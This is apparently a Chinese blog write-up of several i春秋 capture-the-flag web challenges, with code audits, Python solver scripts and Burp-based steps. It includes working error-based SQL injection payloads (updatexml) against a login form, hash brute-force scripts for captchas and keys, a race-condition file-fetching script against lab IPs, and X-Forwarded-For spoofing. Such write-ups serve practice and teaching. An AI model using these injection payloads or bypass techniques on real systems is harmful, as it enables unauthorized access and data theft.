i春秋 一些题目

VID

查看网页源代码发现有个文件路径 

访问的看到了有三个参数用get方式提交 

在url后提三个参数和对应的值就看到了一个1chunqiu.zip 

访问就可以下载文件

这里需要进行代码审计 

先看log.php界面

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db = new mysql_db();
    $username = $db->safe_data($_POST['username']);
    $password = $db->my_md5($_POST['password']);
    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;
    $username = trim(str_replace($number, '', $username));
    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";

这里username处存在注入,他只进行了safe_data处理,我们跟进这个函数

 public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }

这个代码的意思是在username中找我们输入的车牌号“number”,如果找到就替换成空,

$username = trim(str_replace($number, '', $username));

根据文件路径访问到登陆界面 

提交的时候注意number必须是0,然后对username进行注入 

  1. number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query //爆表
  2. number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query //爆flag

GetFlag

看到一串代码substr(md5(captcha), 0, 6)=10c6ca 截取验证码MD5加密后的前6位,可以写脚本爆破。但是刚开始笔者陷入了误区,就是不知道验证码有几位,由哪些字符组成的。但是后来一想,这里应该是服务端接受到我们传过去的验证码,然后进行MD5加密再进行比较,所以验证码长度就不是那么重要了,但是试了下三位数的验证码能匹配成功的几率很低,所以写了一个四位验证码的脚本,爆破出来的验证码,随便选一个就可以了。 
下面是python脚本代码和笔者的测试结果

import string,hashlib
a=string.digits+string.lowercase+string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s=hashlib.md5(i+j+k+m).hexdigest()[0:6]
                if s=="9bf514":
                        print i+j+k+m
                        break

验证码是爆破出来了,但是用户名和密码呢,尝试了sql注入没有什么结果,但是尝试万能密码登陆,果然进去了 

进去之后发现有几个文件可以下载 

将a.php下载下来发现内容提示flag is in the web root dir,这里能下载文件就可以看到文件的绝对路径,就可以访问了 

这里还需要考虑一步,是windows的服务器还是linux的服务器呢,随便访问一个链接就可以发现是Ubuntu,或者用试下路径大小写,敏感的话就是linux了 

那么根据下载链接的参数去访问绝对路径,也可以下载flag.php 

flag.php的代码如下,意思是用POST提交flag参数,当flag=flag时,会输出一个文件的内容

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}

?>

因为flag.php在根目录,那么直接访问,然后提交POST参数,没有什么反应 

那就用burp试一下 

天下武功唯快不破

访问网站之下就有这些代码,意思是去访问这个flag.php,内容会传到生成的文件名中,文件名的路径需要拼接url+u/+md5(随机数)+txt,而且这个文件名生成10s后会删除 

写一个脚本,请求链接的时候拼接这个文件名,这里就有一点运气成分在了,可能会跑不出来,但是多试几次就可以了 
下面是python脚本代码和笔者的测试结果

# -*- coding: utf-8 -*-
import requests
import re
import md5


for i in range(0,1001):
    m1 = md5.new()
    m1.update(str(i).encode(encoding='utf-8'))
    url='http://106.75.26.211:3333/u/'+m1.hexdigest()+'.txt'
    r = requests.get(url)
    if(r.status_code!=404):
        print i
        print url
        print r.status_code #输出状态码
        print r.text #文本形式输出网页内容
        break
    '''
    else:
        print i
        print "404" #动态观察脚本运行情况
    '''

 

 

pyscript

这里可以提交,但是尝试了几下发现没有什么反应 

用burp抓包,这里有两个地方,go一次这两个地方的内容都会变,sha1(3个数字 
+每次提交都会变的明文)=每次提交都会变的Ciphertext 

写一个自动发包脚本在数据包中自动去获取明文和密文进行加密匹配,虽然只有10s,3个数字去匹配的时间还是够的 
下面是python脚本代码和笔者的测试结果

# -*- coding: utf-8 -*-
import urllib,urllib2,json
import hashlib

import re
import requests

url = 'http://106.75.108.111:1111'

def sha_1(data):
    sha_1 = hashlib.sha1()
    sha_1.update(data)
    sha = sha_1.hexdigest()
    return sha

def key(key1,key2):
    c='0123456789'
    str1 = key1
    cipher = key2
    for i in c:
        for j in c:
            for k in c:
                if sha_1(i+j+k+str1) == cipher:
                    # print (i+j+k)
                    return i+j+k
def get_info():
    r = requests.post("http://106.75.108.111:1111")
    key2 = r.headers['Ciphertext']
    cookies = r.cookies#获取cookie
    html = r.text#获取网页内容
    res = r'\+(.*?)\)'
    key1 = re.findall(res,html)[0]
    print key1
    return key1,key2,cookies

def postx(number,cookies):
    cookies = cookies#传递cookie
    values={'pass':number}
    response = requests.post("http://106.75.108.111:1111",cookies=cookies,data=values)#post请求提交
    return response.text

def sum(text):
    res = r'<!--.*?([\d\+\-\*]+).*?-->'#正则
    key3 = re.findall(res,text)[0]
    result = eval(key3)#eval将字符串str当成有效的表达式来求值并返回计算结果
    return result


if __name__ == '__main__':
    (key1,key2,cookies)=get_info()#获取标识
    number = key(key1,key2)#获取爆破出来的三个数字
    result1 = postx(number,cookies)#获取post请求内容
    result2 = sum(result1)
    print result2#输出flag
    print postx(result2,cookies)

 

 

fuzzing

抓包重放之后看到有一个大内网的提示,就需要修改X-Forwarded-For,ip为10.0.0.1段的去访问 

修改之后访问到了需要一个key 

那就POST传一个key试试看,每次放包的时候都要注意X-Forwarded-For要修改为10.0.0.1,这里提示key不正确,正确的key是ichunqiu+(5个数字和字母)加密后为5a2a7d385fdaad3fabbe7b11c28bd48e 

写一个python脚本爆破key

import hashlib
def md5(data):
    m = hashlib.md5()
    m.update(data)
    a = m.hexdigest()
    return a

a = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
    for j in b:
        for k in b:
            for l in b:
                for m in b:
                    if md5(a+i+j+k+l+m)=='5a2a7d385fdaad3fabbe7b11c28bd48e':
                        print a+i+j+k+l+m

 

爆破出来key为ichunqiu618ok,再次提交就看到提示访问这个x0.txt 

 

flag是需要通过这个php脚本来解密的 

将php代码放到本地环境中,传入两个参数,就可以得到flag了 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值